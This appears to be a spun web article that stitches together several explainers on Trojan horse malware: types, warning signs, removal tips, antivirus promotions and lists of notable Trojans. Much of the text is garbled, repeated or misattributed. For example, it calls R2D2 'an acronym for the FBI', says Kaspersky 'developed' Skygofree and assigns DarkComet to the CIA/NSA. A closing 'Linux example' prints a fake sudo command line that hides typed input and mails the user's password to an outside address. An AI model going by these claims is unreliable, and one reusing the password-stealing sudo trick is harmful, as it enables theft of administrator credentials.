Which Of The Following Is An Example Of A Trojan Horse Program? (Correct answer)

Examples of govware trojans include the Swiss MiniPanzer and MegaPanzer and the German “state trojan” nicknamed R2D2. German govware works by exploiting security gaps unknown to the general public and accessing smartphone data before it becomes encrypted via other applications.


  • What is an example of Trojan horse? There are several types of Trojan horses: Infostealer Trojan – This Trojan’s main objective is to steal data from the infected computer. Distributed Denial of Service (DDoS) Attack Trojan – This Trojan performs DDoS attacks, which are designed to take down a network by flooding it with traffic.

What are malware programs that hide their true nature?

As the name implies, Trojan Horses is a malware program that masquerades as a safe file but hides its true nature underneath. These malware types use their deceptive nature to fool users into downloading what appears to be a legitimate file.

Are malware programs that hide?

Once malicious software is installed on a system, it is essential that it stays concealed, to avoid detection. Software packages known as rootkits allow this concealment, by modifying the host’s operating system so that the malware is hidden from the user.

Are software programs that hide their true nature and reveal their designed Behaviour only when activated?

Software programs that hide their true nature and reveal their designed behavior only when activated. A treat that over time changes the way it appears to antivirus software programs, making it undetectable by techniques that look for preconfigured signatures.

What is the name of malware that conceals itself on the host OS allowing for full control access of the computer at a later date?

A Trojan horse, or “Trojan”, enters your system disguised as a normal, harmless file or program designed to trick you into downloading and installing malware. As soon as you install a Trojan, you are giving cyber criminals access to your system.

How many types of malware are there?

8 Different Types of Malware

  • Virus. We tend to refer to all malware as viruses, but it’s not so.
  • Worm. A worm is self-replicating and spreads without end-user action, causing real devastation.
  • Trojan.
  • Ransomware.
  • Adware.
  • Spyware.
  • File-less malware.
  • The hybrid attack.

What are the different malware?

The Most Common Types of Malware Attacks

  • 1) Adware. Adware serves unwanted or malicious advertising.
  • 2) Fileless Malware.
  • 3) Viruses.
  • 4) Worms.
  • 5) Trojans.
  • 6) Bots.
  • 7) Ransomware.
  • 8) Spyware.

What type of malware is a Trojan?

A Trojan, or Trojan horse, is a type of malware that conceals its true content to fool a user into thinking it’s a harmless file. Like the wooden horse used to sack Troy, the “payload” carried by a Trojan is unknown to the user, but it can act as a delivery vehicle for a variety of threats.

What is Trojan horse computer?

A Trojan horse, or Trojan, is a type of malicious code or software that looks legitimate but can take control of your computer. A Trojan is designed to damage, disrupt, steal, or in general inflict some other harmful action on your data or network. A user has to execute Trojans.

What is malware and examples?

Malware, or malicious software, is any program or file that is intentionally harmful to a computer, network or server. Types of malware include computer viruses, worms, Trojan horses, ransomware and spyware.

Is a corner stone in the protection of information assets and in the prevention of financial loss?

Among several internal control strategies, separation of duties is a cornerstone in the protection of information assets and in the prevention of financial loss.

Which of the following functions does information security perform for an organization quizlet?

Which of the following functions does information security perform for an organization? Protecting the organization’s ability to function, Enabling the safe operation of applications implemented on the organization’s IT systems, and Protecting the data the organization collects and uses.

Is a technique used to compromise a system?

An exploit is a technique or mechanism used to compromise a system. A vulnerability is an identified weakness of a controlled system in which necessary controls are not present or are no longer effective. An attack is the use of an exploit to achieve the compromise of a controlled system.

Is a Trojan a rootkit?

Rootkit is set of malicious program that enables administrator-level access to a computer network. Trojan Horse is a form of malware that capture some important information about a computer system or a computer network.

What are rootkits give examples of rootkits?

Examples of rootkit attacks

  • Phishing and social engineering attacks. Rootkits can enter computers when users open spam emails and inadvertently download malicious software.
  • Application rootkit attacks.
  • Network and internet of things (IoT) attacks.
  • OS attacks.
  • Credit card swipe and scan attacks.

Which malware changes an operating system and conceals its tracks?

Trojan horse programs are malware that is disguised as legitimate software. A Trojan horse program will hide on your computer until it’s called upon. When activated, Trojans can allow threat actors to spy on you, steal your sensitive data, and gain backdoor access to your system.

What is a Trojan horse and what damage can it do?

When the horse’s stomach opened in the middle of the night, it was too late. At last, the Greeks had succeeded in taking the long-besieged city of Troy, so drawing the Trojan War to a close. Thousands of years later, the tale of the Trojan horse is still alive and well, but with a negative connotation in today’s society. After all, what was once hailed as a great trick and a superb job of engineering is today seen as a hostile digital insect whose single goal is to cause havoc on the systems of its victims while remaining undetected.

The following are examples of such actions:

  • The act of deleting information, blocking information, modifying information, copying information, or interfering with the operation of computers or computer networks.

Trojan horses, in contrast to computer viruses and worms, are incapable of reproducing themselves.

Types of Trojan

They are one of the most basic Trojans, but they are also one of the most hazardous sorts of Trojan. This is due to the fact that, in their capacity as a gateway, they have the ability to either load a wide variety of viruses onto your system or, at the very least, make your computer exposed to attack. Botnets are frequently established with the use of a backdoor. Your computer, without your awareness, becomes a member of a zombie network that is used to launch attacks against other computers.


Exploits are programs that include data or code that takes advantage of a vulnerability in an application running on your computer and sends it to the server.


Rootkits are software programs that are meant to disguise specific items or actions in your computer’s operating system. Most of the time, their primary goal is to keep dangerous programs from being noticed in order to lengthen the amount of time that they may be executed on a machine that has been infected with them.

Dropper/downloader Trojans

Emotet malware is one of the most well-known dropper Trojans. Although the malware has now been rendered harmless by antivirus software, it cannot, in contrast to a backdoor Trojan, execute any code on the computer that it is installed on. Instead, it spreads other viruses, such as the banking Trojan Trickbot and the ransomware Ryuk, which are both extremely dangerous. Thus, droppers and downloader Trojans are similar in nature, with the distinction being that downloaders require a network resource in order to draw malware from the network.

Both sorts of Trojans have the ability to be remotely updated in secret by the programmers responsible, for example, so that virus scanners do not notice them when new definitions are released.

Banking Trojans

Banking Trojans are among the most common types of Trojans to be found. This is not surprising given the increasing use of online banking, as well as the carelessness of certain users – they represent a potential technique for attackers to obtain money in a short period of time. In order to do this, they must first get access credentials to bank accounts. Phishing strategies are used to do this, such as redirecting purported victims to an impersonated website where they are instructed to submit their access credentials.

Therefore, while doing online banking transactions, be sure to utilize safe means of verification, such as utilizing the bank’s app, and never enter your access details into a web interface wherever possible.

DDoS Trojans

Despite efforts, distributed denial-of-service (DDoS) assaults continue to plague the internet. The server or network is bombarded with requests in these assaults, which are often carried out by a botnet. Amazon, for example, was able to fend off a record-breaking attack on its computers in mid-June 2020. The Amazon web services were targeted with a data flow of 2.3 gigabytes per second for more than three days, according to the company. To obtain that level of computational power, it is necessary to have a massive bot network.

On the surface, they appear to be operating normally, yet they are actually operating in the background as attackers.

Websites or even whole networks may become inaccessible if a botnet assault or a distributed denial of service (DDoS) attack is successful.

Fake antivirus Trojans

False antivirus software Trojan horses are exceptionally sneaky and cunning. Instead of safeguarding, they do catastrophic damage to any gadget they touch. Because of the purported virus discoveries, they want to instill fear in the hearts of unwary consumers, convincing them to spend money to get adequate protection. However, instead of receiving an useful virus scanner, the user is presented with even more issues, since their purchase information is transmitted to the Trojan’s creator for future exploitation.


The information included in user accounts of online gamers is stolen by this sort of software.

Trojan-IM (Instant Messaging)

Trojan-IM programs are designed to steal your login information and passwords for instant messaging applications such as ICQ, MSN Messenger, AOL Instant Messenger, Yahoo Pager, Skype, and other similar programs. One may claim that these messengers are no longer in widespread usage these days. Even new message services, on the other hand, are not immune to Trojans. Trojans might potentially target popular messaging apps such as Facebook Messenger, WhatsApp, Telegram, and Signal. Recently, a Windows Trojan was commandeered using a Telegram channel, which occurred in December 2020.

Skygofree, a Trojan horse developed by Kaspersky Lab, was discovered in January 2018 by security experts.

The Skygofree Trojan may also be used to spy on users of the popular messaging app WhatsApp.


Trojan-IM programs are designed to steal your login information and passwords for instant messaging applications such as ICQ, MSN Messenger, AOL Instant Messenger, Yahoo Pager, Skype, and other similar services. On the other hand, others would claim that these messengers are no longer in widespread usage. But Trojans may infiltrate even the most up-to-date messaging platforms. Trojans might potentially target messaging apps such as Facebook Messenger, WhatsApp, Telegram, and Signal. An instance of a Windows Trojan hijacking a Telegram channel occurred as recently as December 2020.

Skygofree, a Trojan horse uncovered by Kaspersky security experts in January 2018, was a new discovery.

Aside from that, the Skygofree Trojan is capable of spying on users of the popular messaging app WhatsApp. It has the ability to read communications and even steal them from their recipients.

SMS Trojans

Trojan-IM malware steal your login information and passwords for instant messaging services such as ICQ, MSN Messenger, AOL Instant Messenger, Yahoo Pager, Skype, and others. It may be argued that these messengers are no longer in widespread usage. Even new communication services, however, are not immune to Trojans. Trojans might potentially target popular messaging apps like Facebook Messenger, WhatsApp, Telegram, and Signal. Recently, a Windows Trojan was hijacked via a Telegram channel, which occurred in December 2020.

In January 2018, Kaspersky Lab security researchers found a Trojan horse known as Skygofree.

The Skygofree Trojan may also be used to spy on users of the popular messaging app WhatsApp.


Trojan-Spy programs can monitor how you use your computer, for example, by monitoring the data you enter through your keyboard, collecting screenshots, or compiling a list of all the apps currently operating on your computer.


When you use a computer, these apps can collect email addresses from it. In addition, there are more sorts of Trojans, which are as follows:

  • Trojan-ArcBomb
  • sTrojan-Clicker
  • sTrojan-Notifier
  • sTrojan-Proxy
  • sTrojan-PSW

Trojans as a threat to all end devices

Trojan horses are no longer limited to Windows systems; they are now increasingly targeting Mac computers and mobile devices. So you should never feel too secure or go online without up-to-date antimalware protection, such as Kaspersky Internet Security from Kaspersky Lab. Most malware infects computers by way of infected attachments, corrupted text messages, or fraudulent websites that appear legitimate. However, there are secret service Trojans that may be installed on target computers remotely, without the user’s knowledge and without the targets’ involvement in the installation process at all.

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Pegasus is equipped with an extensive arsenal of interception possibilities.

Criminals are being monitored and tracked down in Germany as well, thanks to the employment of a government-sponsored Trojan.

Cybercriminals want to cause maximum damage with Trojans

Whereas law enforcement agencies utilize surveillance tools to track down and punish illegal activity, cybercriminals have the exact opposite goal in mind. In the latter situation, it is all about gaining personal gain at the expense of their victims in order to justify their actions. In order to do this, the crooks employ a variety of programs, and in some cases, complete malware chains. How do they manage to accomplish it? An example of this would be a backdoor that was placed on the computer without the user’s knowledge through an infected email attachment.

Another example is a keylogger, which records keystrokes such as passwords or confidential material, a banking Trojan, which steals financial data, or ransomware, which encrypts the entire machine and only releases the hijacked data once a considerable sum of bitcoin has been paid in bitcoin.

The “Trojan King,” strictly speaking, is a bot network that searches for victims by sending spam emails and infecting Word or Excel documents with malicious code.

The British Standards Institution (BSI) has created an additional page with information on Emotet. In conclusion, I would want to say that

  • Emotet is widely regarded as one of the most destructive and dangerous Trojans on the internet. It has not yet been determined who is behind Emotet. The amount of harm produced by Emotet is in the millions of dollars. The majority of the targets are businesses. If Emotet scans the saved email addresses from address books and adds them to its massive database, private users may still be impacted. For further protection, deactivate macros in Word and Excel and do not open attachments from emails from unknown senders in addition to using the most up-to-date software available.

Piggybacking onto the end device

Trojan horses may be discovered in a variety of places, not only email attachments. They can also “piggyback” on programs that are advertised as being free. This reinforces the need of refraining from using questionable sources for software downloads such as codec packs or pirated applications, even if doing so may result in a few euros in savings. The damage that Trojans may inflict often outweighs the value of the software that would have been obtained through legitimate methods. It should be noted that a Trojan horse is not to be confused with a virus.

As a result, the following is a checklist for protecting yourself and your equipment from Trojans:

  1. Consider your actions before opening attachments from emails. Make sure you know who sent it and what it says, and think about whether or not you really need to open the attachment. Maintain the most recent versions of your mobile and fixed systems at all times. Installation of security updates on a regular basis is recommended, both for the operating system and for the programs that are installed
  2. Allowing macros in Word and Excel is not recommended. Do not simply click on links without considering your options. In addition, there is the risk of a drive-by infection occurring. A virus installation that takes place in the background while a user is browsing phony websites, which ensures that the malware is downloaded onto the home system without the user’s knowledge. Downloading apps from untrustworthy sites should be avoided. Installing programs that are not available in the Google Play Store or the Apple Store should be avoided on mobile devices. Always show all file extensions in a single window. Using this tool, you may determine whether or not a putative picture – generally with the jpg extension – is supported by an executable file with the exe extension. Make use of two-factor authentication, which may be accomplished using a mobile app and strong passwords (preferably through a password manager) as an extra security safeguard
  3. Always scan your system using a virus scanner that has the most up-to-date virus definitions available. Harmful applications and malicious information are protected from your computer by the Kaspersky Internet Security Suite. Regular backups of your data are a good idea. Not just on cloud services, but also on a physical data carrier, such as a mobile SSD or HDD hard disk connected through a USB port.

Be careful when surfing the web

The Trojans described here are the most well-known varieties. One thing that all of them have in common is that they can only be installed on a computer or mobile device with the assistance of the user. These risks should be avoided, however, if you use caution when surfing the web, do not open email attachments without thinking, and only download programs from trusted sources. An up-to-date operating system, as well as a virus scanner that is always on, will provide you with even greater protection against Trojans.

These security solutions protect against Trojans and other online threats:

Kaspersky Internet Security is a security software program developed by Kaspersky Labs. Kaspersky Total Security is a security suite developed by Kaspersky Labs. Kaspersky Security Cloud is a service provided by Kaspersky Lab. Articles that are related: Detecting malware – what encryption can tell you Trojans are different. Advice on how to prevent being a victim of phishing Data protection from ransomware – how to keep your information safe

Different Examples of a Trojan Horse

Only a small number of people are capable of identifying a Trojan at first look. Because it masquerades as a valid file or software that you would wish to have access to on your endpoint, it is difficult to detect. A Trojan horse is a sort of virus that can manifest itself in a variety of ways. It also varies to its purpose. The cyber criminal can either target a single individual or propagate theTrojan horseof his or her choosing over the whole world. Understanding the numerous sorts of Trojan horses and what they perform will be easier if you look at this list.

  1. They have complete control over the endpoint, including the ability to send and receive messages, launch and delete files, display data, and reboot the device.
  2. Rootkit These are intended to conceal specific items or actions in your computer’s operating system.
  3. Trojan-Banker In order to steal your account information from online banking systems, e-payment systems, and credit or debit cards, this malware was created.
  4. It might have an impact not just on endpoints, but also on webpages.
  5. Trojan-Downloader Trojan-Downloaders are malicious applications that may download and install new versions of harmful programs on your computer, including Trojans and adware, without your knowledge.
  6. They are designed with the intent of extorting money from you.
  7. Despite the fact that the threats that they claim are not real, they continue to report them.

It was also created by cyber thieves and is a Trojan infection that steals the user account information from online gamers.

This has the potential to cause endpoint dysfunction.

They will only replace your computer’s performance or unblock your data if you have paid them for their services in advance.

This has the potential to cause endpoint dysfunction.

They will only replace your computer’s performance or unblock your data if you have paid them for their services in advance.

Trojan-Mailfinder Using this method, you may steal email addresses from your endpoint.

How to Secure Yourself from Trojan Horse:

We’ll continue to preach the fundamentals of online security. However, whether or not you will practice safety is entirely up to you. We’re still here to guide you through the next steps to ensure that you’re completely safe from Trojan viruses. Simply follow the guidelines provided here: Antivirus When a suspicious file is found on your endpoint, an effective antivirus program will notify you of the presence of the file. You can begin utilizing free branded antivirus software that is available on the Internet.

Security Software that is up to date What’s the use of having antivirus software if it’s out of date?

It will upgrade the program in order to provide improved virus protection.

As a result, they disseminate the danger throughout the Internet user community.

  • There is a free antivirus program for Windows 10
  • A free antivirus program for Windows 8, a free antivirus program for Windows 7, a free antivirus program for Windows Vista
  • A free antivirus program for Windows XP, and a free antivirus program for Windows Vista.

There is a free antivirus program for Windows 10; a free antivirus program for Windows 8, a free antivirus program for Windows 7, a free antivirus program for Windows Vista; a free antivirus program for Windows XP, and a free antivirus program for Windows XP Professional.

What is the Trojan Horse Virus

The Trojan Horse, in fact, was the peace-offering gift that enabled the Greeks to triumph over the Trojans in their battle against them. It continues its history in the Information Technology. In recent years, it has been identified as one of the most dangerous cyber dangers on the Internet. It targeted half of all entrepreneurs in the United States of America. They are completely unaware that they have a Trojan horse virus installed on their computers. Many computer users are concerned about this because it is a new threat.

What does a Trojan Horse Virus do?

A Trojan horse virus works as a delivery service to the harm it carries. It can perform a specific task that the cyber criminal designed it to execute. Of course, the victim wouldn’t know about the threat because the Trojan horse virus is disguised as a legitimate program. It may appear to be helpful and friendly, but it is actually harmful to their system. The typical Trojan horse virus is presented as being beneficial to a large number of unassuming users. For an instance, a friend might have sent an email with an attachment.

As soon as they open the file, the problem will begin to occur.

Knowing the weaknesses in the computer might save time and damages.

Most antivirus can’t detect Trojan horse virus on the system. Even though Trojan horse viruses are destructive, they nevertheless make use of standard DOS/Windows instructions to perform their damage. Any attempt to trigger an alert on these commands would result in great false alarms.

Most Common Types of Trojan Horse Viruses

In this case, the exploit consists of data or code that exploits a vulnerability in the application software that is running on your endpoint. In this case, the backdoor provides malicious users with remote access to the infected computer. They may perform whatever they want such as transmitting, receiving, launching and deleting files, displaying data and restarting the endpoint.3.RootkitThese are meant to conceal specific items or actions in your system. This can effectively prevent malicious programs from being detected.4.Trojan-BankerIts purpose is to steal your account data for online banking systems, e-payment systems, and credit or debit cards.5.Trojan-DDoSThis Trojan horse virus has the capability of initiating Denial of Service (DoS) attacks.6.Trojan-DDoSThis Trojan horse virus has the capability of initiating Denial of Service (DoS) attacks.

Not only it can affect endpoints, but also websites.

This can also obscure detection of rogue apps.

How to Protect Yourself against Trojan Horse Virus

Finding the Trojan horse on your computer is not a simple procedure. Yet, you can try using these methods to avoid in the first place: The supplied instances above aren’t the only ones out there. Every day, cyber thieves create a fresh set of Trojan horse viruses to infect computers. Nonetheless, there are ways to at the very least

  • Make use of a firewall. Firewalls are designed to block unauthorized connections, which can aid in the prevention of Trojan horse viruses. You must secure your computer with an anti-virus software or anti-spyware software. You should also keep them updated always
  • You should always keep your operating system’s security patches up to date
  • Otherwise, your system could become vulnerable. Open email attachments with caution, click on unfamiliar links with caution, download and install certain programs from publishers you do not trust, and visit strange websites with caution. These actions are necessary because some of the email attachments, links, programs, and websites could be Trojan horses that contain viruses.
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How to Detect a Trojan Horse Virus

The Trojan horse virus is unquestionably difficult to detect. Even ordinary antivirus might not be able to track the nasty fake programs on an ordinary user’s computer. In Comodo, we offer Advanced Endpoint protection to many businesses to improve their endpoint security even more. In addition, Comodo Advanced Endpoint Protection provides a lightweight, scalable Default Deny Platform that employs a unique endpoint security approach, resulting in complete protection and enterprise visibility for the organization.

Advanced Endpoint Protection includes a unified IT and security management console, which, through an app-enabled platform, reduces the effort required to manage your Android, iOS, OSX, Linux, and Windows devices across every segment of your physical and virtual networks.

Security Website Related Sources: Endpoint Security Network Security Computer Protection Trojan Virus Ransomware Protection Website Malware scanner SIEM Website Safety Check Check Website Safety Website Status Checker DNS History What does HTTPS Mean Attack Site Security with Managed Detection and Response (BEAST Attack) Website Scanner scans the internet Link Link Checker Virus is a virus that checks links.

Is this website free of viruses and malware? Scan of the Website Check Website dedicated to security Protect your Endpoints for nothing at all.

What is a Trojan Horse? Definition from WhatIs.com.

In computing, a Trojan horse is a program that is downloaded and installed on a computer that appears to be harmless, but is in fact harmful to the system. It is quite likely that a Trojan is infecting a computer if it makes unexpected changes to its settings and performs odd activities even when the machine should be inactive. Typically, the Trojan horse is disguised as an innocent-looking email attachment or free download to trick the user into opening it. When a user opens an email attachment or downloads a free software, the virus that has been disguised within it gets transported to the user’s computer device.

How a Trojan horse works

Before a Trojan horse may infect a computer, the user must first download the infected application’s server side code from the malicious website. The Trojan horse is unable to appear on its own. In order for the attack to be launched on the system, the executable file (exe file) must be implemented and the program must be installed. Social engineering tactics are frequently used to persuade end users to download the malicious application. The download trap may be found in banner ads, website links or pop-up advertisements.However, the most popular tactic for spreading Trojan horses is through seemingly unthreatening emails and email attachments.

The Trojan server will be installed as soon as the email is opened and the attached file is downloaded.

Hackers utilize these zombie machines to continue disseminating further malware in order to build a network of zombie computers, which they call a zombie network.

If an attacker successfully infects a Wi-Fi connected device, they may be able to redirect traffic and use the device to commit cybercrimes.Here is an example of how a Trojan horse might be used to infect a personal computer:The victim receives an official-looking email that includes an attachment.

For this reason, the victim is unaware that the attachment is actually a Trojan horse and that his computer has been infected.

At that point, the malicious code is activated and the intended action is carried out by the malicious code. After performing its intended function, the Trojan may self-destruct, return to a dormant state, or remain active, depending on how it was programmed into existence.

Uses of a Trojan horse

The activation of a Trojan horse puts sensitive user data at risk and has the potential to degrade performance. Once a Trojan has been transferred, it can perform the following functions:

  • Give the attackerbackdoorcontrol over the computer device
  • Take note of the user’s keyboard strokes in order to steal the user’s account information and browsing history
  • To download and install a virus or worm in order to take advantage of a vulnerability in another program
  • Install ransomware in order to encrypt the user’s data and demand payment in exchange for the decryption key
  • The camera and video capabilities of the computing device should be activated make the computer into a zombie computer that can be used to commit click fraud schemes or other illegal activities
  • For the sake of law enforcement, legally capture information that is pertinent to a criminal investigation

Examples of Trojan horses

Trojan horses have been identified over the years by anti-malware providers, security researchers, and private individuals, among other groups. Some of the more well-known finds are as follows:

  • Bitfrost was a remote access Trojan (RAT) that infected Windows clients by modifying, generating, and manipulating components
  • Tiny Banker was a banking Trojan that allowed attackers to steal critical financial information
  • And many other threats. The FakeAV Trojan, which was embedded in the Windows system tray and continuously delivered an official-looking pop-up window alerting the user to a problem with the computer, was discovered by researchers at the Center for Strategic and International Studies Security Group in 2012 after two dozen major U.S. banks were infected. When users followed directions to fix the problem, they actually downloaded more malware
  • sMagic Lantern, agovernment Trojanthat uses keystroke logging, created by the FBI around the turn of the century to assist with criminal surveillance
  • s Zeus, a financial servicescrimeware toolkitthat allows a hacker to build their own Trojan horse. First detected in 2007, the Trojans built with Zeus still remain the most dangerous banking Trojans in the world, usingform grabbing, keylogging andpolymorphic variantsof the Trojan that usedrive-by downloadsto capture victim credentials

Other types of Trojan horses that are commonly encountered are:

  • It is a Trojan horse called the Downloader Trojan, which is designed to infect a computer that has already been compromised by downloading and installing new versions of malicious programs. Backdoor Trojan: A Trojan horse that installs a backdoor on a computer, allowing an attacker to gain access to and control over the computer. Backdoor Trojans have the capability of allowing data to be downloaded or stolen by third parties, as well as the uploading of additional malware. Trojan horse that launches a Distributed Denial of Service (DDoS) attack on a computer and attempts to bring down a network by flooding it with traffic that originates from the infected computer and other infected computers
  • A Trojan horse that targets internet gamers and seeks to steal their account information
  • A game-stealing Trojan horse This malware, known as the Mailfinder Trojan, attempts to collect email addresses saved on a targeted system. It is possible to send or intercept text messages with the help of the SMS Trojan, which is a Trojan that infects mobile devices and has the ability to send or intercept text messages. Trojan banker is a malicious program that seeks to hijack banking accounts. This Trojan is designed to steal the account information for all online activities, including credit card, banking, and bill-pay information
  • However, it is not designed to steal financial information.

Is a Trojan horse a virus or malware?

A Trojan horse is sometimes referred to as a Trojan horse virus, however this is erroneous in terms of technical terminology. A Trojan horse, in contrast to a computer virus, is unable to duplicate itself and cannot spread without the help of the end user who has downloaded it. As a result, attackers must employ social engineering techniques in order to deceive the end user into installing the Trojan. Because there are so many distinct types of Trojan horses, the word can be used to refer to any virus that is delivered using a Trojan horse.

How to identify a Trojan horse

Because Trojan horses typically masquerade as genuine system files, they are notoriously difficult to detect and eliminate with standard virus and malware scanners, which makes them particularly dangerous. When it comes to the identification and eradication of discrete Trojan horses, specialized software tools are frequently required. However, it is possible to detect the presence of a Trojan horse by observing unusual behavior displayed by a computer system. The following are examples of quirks:

  • A change in the appearance of the computer screen, such as changing the color and resolution, or an unnecessarily flipping it upside down
  • Excessive numbers of pop-up advertisements will display, each promising a solution to a different fault, which may lead the end user to click on the advertisement. It is possible for the computer mouse to begin moving on its own or to freeze altogether, and the functions of the mouse buttons to reverse as a result. The browser’s home page may change, or the browser may redirect the user to a website that is different from the one they are requesting repeatedly. This redirected page will frequently contain an offer that visitors may click on or download, which will, in turn, allow further malware to be installed on their computers. In addition, the computer’s anti-virus and anti-malware applications will be deactivated, making it impossible to do the necessary procedures to eradicate infection. It is possible that mysterious messages and odd graphic displays will begin to surface. In the task manager, you will see that there are apps running that are not recognized. A change in look or full disappearance of the taskbar will occur. The desktop wallpaper of the computer, as well as the icon and program formats on the desktop, may be modified. Users’ personal email services may begin sending spam messages to all or some of the addresses on their contact list, which frequently contain malware and a persuasive tactic to entice recipients to open and download the attack, thereby spreading the Trojan horse to other computers.

The fact that safe, lawful software programs can potentially cause some of the unusual actions outlined above should not be underestimated. Aside from that, because of the similarities in their delivery techniques, adware and potentially unwanted programs (PUPs) are occasionally mistaken for Trojan horses. For example, adware may infiltrate a computer by concealing itself within a program installation package. Adware and potentially unwanted programs (PUPs) do not, in contrast to Trojan horses, attempt to obscure themselves once they have been installed on the computer.

How to protect against a Trojan horse

The most straightforward method of safeguarding a computer against a Trojan horse is to avoid opening or downloading emails or files from unfamiliar sources. The Trojan horse danger may be eliminated by deleting these communications before they are opened. Computer security, on the other hand, begins with and is dependent on the installation and use of an Internet security suite, which must be done before anything else. Because a Trojan horse is typically loaded without the user being aware of it, antimalware software must be used to identify malicious code, isolate it, and remove it from the computer system.

Users should practice conducting frequent diagnostic checks on their computers to avoid becoming infected with a Trojan horse. They should also maintain their antivirus and antimalware software up to date. Other suggestions for safeguarding a system include:

  • Updating the operating system (OS) software as soon as a new version is made available by the software company
  • Protecting personal accounts with complex and one-of-a-kind passwords that incorporate numbers, characters, and symbols is recommended. When opening any email attachment, including those from known senders, exercise caution since a Trojan horse may have infiltrated their machine and is exploiting it to propagate malware
  • And Creating frequent backups of files in order to ensure that they can be quickly retrieved in the event of a Trojan horse assault
  • Protection of personal information using firewalls is essential. avoiding websites that appear suspicious or hazardous
  • Internet security software may be used to identify which sites are secure and which sites should be avoided in certain situations. Installing or downloading products only from recognized, reputable sources is recommended. Pop-up advertisements that aim to lure viewers to click through for tempting offers and promotions should be avoided. It is best not to open an email if the subject, content, or sender are unfamiliar, or if there is any suspicion or query regarding the email in general
  • And

How to remove a Trojan horse

If a Trojan horse is discovered on a computer, the machine should be promptly unplugged from the Internet and the dubious files should be uninstalled using an antivirus or antimalware tool, or the operating system should be reinstalled, whichever is most convenient. One of the most difficult aspects of the cleanup procedure is determining which files are contaminated. Once the Trojan horse has been found, the remainder of the operation becomes much easier to accomplish. Using the dynamic link library (DLL) error that is commonly shown by the computer to indicate the existence of a Trojan horse, users may occasionally locate the infected files on their computer’s hard drive.

  1. Identifying the files and disabling the System Restore mechanism are also necessary steps.
  2. It is necessary for users to restart their computers after that.
  3. Once the computer has been properly booted up, users should navigate to the Control Panel and select Add or Remove applications.
  4. All of the program files related with the Trojan application should be erased from the system in order to guarantee that all of the extensions associated with the Trojan application are removed.
  5. This should bring the Trojan horse eradication process to a conclusion.
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History of the Trojan horse

It is believed that the word “Trojan horses” comes from Greek mythology. According to tradition, the Greeks constructed a massive wooden horse that the inhabitants of Troy used to transport themselves into the capital. During the night, troops who had been hidden within the horse surfaced, unlocked the city’s gates to let their fellow soldiers to enter, and overran the city with their fellow soldiers. The word “vulnerability” in computing was first used in a 1974 report by the United States Air Force, which explored the vulnerability of computer systems.

  • Increased use of bulletin board systems (BBS) throughout the 1980s contributed to the rapid proliferation of Trojan horse assaults during that time period.
  • Once a person has entered onto the BBS, he or she can proceed with behaviors such as uploading, downloading, and exchanging potentially harmful material with other users.
  • This early Trojan horse was able to infiltrate and infect around one million computers all across the world throughout its lifetime.
  • Once the Spy Sheriff Trojan horse has been successfully installed on a computer, it becomes exceedingly tough to uninstall from the machine in question.
  • A user who attempts to uninstall the Spy Sheriff program will find that the Trojan horse reinstalls itself using infected files that have been concealed on the machine.
  • A Trojan horse had downloaded the files without his knowledge, and the court took over a year to eventually clear him of all accusations and accept his defense, which said that the materials had been downloaded without his knowledge.

Interestingly, this is one of the first instances in which the Trojan horse defense has been proven viable. June 2020 marked the most recent update.

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Dig Deeper on Threats and vulnerabilities

In computers, a trojan horse is any malicious software that deceives people about its actual intentions. Trojan Horse is a word that comes from theAncient Greek legend of the deceptiveTrojan Horse, which resulted in the collapse of the city ofTroy. Trojans are often propagated using some type of social engineering, such as tricking a user into opening an email attachment that appears to be unimportant (e.g., a regular form to be filled out), or tricking a user into clicking on a bogus advertising on social media or elsewhere.

Ransomware attacks are frequently carried out through the use of a trojan horse.

Use of the term

It is unclear when or when the notion, as well as the phrase for it, initially appeared, but by 1971 the first Unix handbook presumed that its readers were familiar with both: Also, if the set—user—ID bit is enabled, it is not permitted to alter the owner of a file; otherwise, Trojan Horses capable of misusing other people’s data might be created. Another early mention may be found in a 1974 study by the United States Air Force on the investigation of vulnerability in Multicscomputer systems.

A study on the security of Multics informed him about the possibility of the presence of trojans, which he shared with the group.


Once installed, trojans have the ability to carry out a variety of destructive acts. Many people choose to make contact with one or more Command and Control (C2) servers located around the Internet and wait for instructions. In addition, because individual trojans often communicate over a unique set of ports, it can be rather straightforward to identify and identify them. Furthermore, additional software may be able to “take over” the trojan, allowing it to operate as a gateway for harmful activity.

Govware is often a Trojan horse program that is used to intercept communications from the target computer’s network interface card.

SwissMiniPanzer and MegaPanzer, as well as the German “state trojan” called R2D2, are examples of govware trojans to watch out for.

Trojans are becoming increasingly prevalent as a result of the growing popularity of botnets among hackers, as well as the availability of advertising services that allow writers to breach the privacy of their customers.

According to BitDefender, around 15% of PCs are members of a botnet, which is often recruited through a trojan infection.

Linux example

A Trojan horse is a software that appears to fulfill an obvious purpose, but when it is executed, it compromises the security of the computer’s user. An example of a straightforward application is a new version of the Linuxsudocommand. The command is then copied to a place that is accessible to the public, such as /tmp. A Trojan horse might be run if an administrator happens to be in that directory at the time and executessudo on the command line. Here is an example of a functional version: Turn off the character echo to the screen with the sudo command.

sttyechoecho $x|mail -s |mail -s “‘whoami’ password”[email protected] “‘whoami’ password” sleep1echo Sorry for the inconvenience.

Example: PATH=/usr/local/bin:/usr/bin

Notable examples

  • R2D2 is an acronym for the FBI
  • 0zapftis is an abbreviation for R2D2. State Trojaner– DigiTask
  • DarkComet– CIA/NSA
  • FinFisher– Lench IT solutions / Gamma International
  • DaVinci / Galileo RCS– HackingTeam
  • Magic Lantern– FBI
  • SUNBURST– SVR / Cozy Bear(suspected)

Publicly available

  • Late 1980s
  • Netbus– 1998 (published)
  • Back Orifice– 1998 (published)
  • Beast– 2002 (published)
  • Bifrost trojan– 2004 (published)
  • DarkComet– 2008-2012 (published)
  • Blackhole exploit kit– 2012 (published)
  • Gh0st RAT– 2009 (published)
  • MegaPanzer BundesTrojaner– 2009 (published)
  • MEMZby Leurak– 2016 (published)
  • EGABTR– late 1980s
  • Back

Detected by security researchers

  • Twelve Tricks was created in 1990
  • Clickbot.A was created in 2006 (discovered)
  • Zeus was created in 2007 (discovered)
  • Flashback trojan was created in 2011 (discovered)
  • ZeroAccess was created in 2011 (discovered)
  • Koobface was created in 2008 (discovered)
  • Vundo was created in 2009 (discovered)
  • Coreflood was created in 2010 (discovered)
  • Tiny Banker Trojan was created in 2012 (discovered)
  • ShedunAndroid malware was created in 2015 (discovered).


The phrase “trojan horse” in computer jargon comes from the legendaryTrojan Horse of the ancient city of Troy, which inspired the term. As a result, the word “Trojan” is frequently capitalized. While style guidelines and dictionaries differ, many recommend that “trojan” be written in lower case for everyday use.

See also

  • Industrial espionage
  • Computer security
